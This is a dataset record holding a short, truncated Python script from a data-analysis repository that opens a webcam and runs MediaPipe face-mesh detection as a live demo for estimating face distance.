machine_vision/face_distance/live_demo.py
stanton119/data-analysis
b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9
[ "Apache-2.0" ]
1
2021-02-11T23:44:52.000Z
2021-02-11T23:44:52.000Z
machine_vision/face_distance/live_demo.py
stanton119/data-analysis
b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9
[ "Apache-2.0" ]
1
2021-12-16T01:02:23.000Z
2021-12-16T01:02:23.000Z
# %% # live demo import cv2 import mediapipe as mp import utilities mp_drawing = mp.solutions.drawing_utils mp_face_mesh = mp.solutions.face_mesh # For webcam input: drawing_spec = mp_drawing.DrawingSpec(thickness=1, circle_radius=1) cap = cv2.VideoCapture(0) with mp_face_mesh.FaceMesh( min_detection_confidence=...
33.16
82
0.664656